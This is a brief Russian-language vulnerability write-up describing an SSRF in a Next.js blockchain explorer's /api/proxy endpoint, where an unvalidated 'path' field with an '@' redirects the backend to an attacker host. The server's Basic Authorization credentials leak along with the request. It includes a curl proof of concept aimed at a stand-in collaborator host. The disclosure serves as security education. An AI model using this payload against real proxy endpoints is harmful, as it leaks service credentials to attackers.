SSRF - утечка credentials через proxy-эндпоинт
Уязвимый endpoint такой:
POST https://explorer.example.com/api/proxyЧто происходит?
Blockchain explorer на Next.js проксирует запросы к внешнему API аналитики. На бэкенде формируется URL вида:
https://node-lite.webapi.analytics.io{path}Параметр
path берётся напрямую из JSON body без валидации. Символ @ в URL позволяет провернуть классический URL parsing confusion (userinfo@newhost):https://node-lite.webapi.analytics.io@ATTACKER.com/capture
URL-парсер считает всё до
@ логином, а ATTACKER.com реальным хостом.Что утекло
Сервер при каждом проксируемом запросе автоматически прикрепляет заголовок:
Authorization: Basic <base64_credentials>PoC
curl -sk -X POST "https://explorer.example.com/api/proxy" \
-H "Content-Type: application/json" \
-d '{"path":"@<collaborator>/ssrf-capture","data":{}}'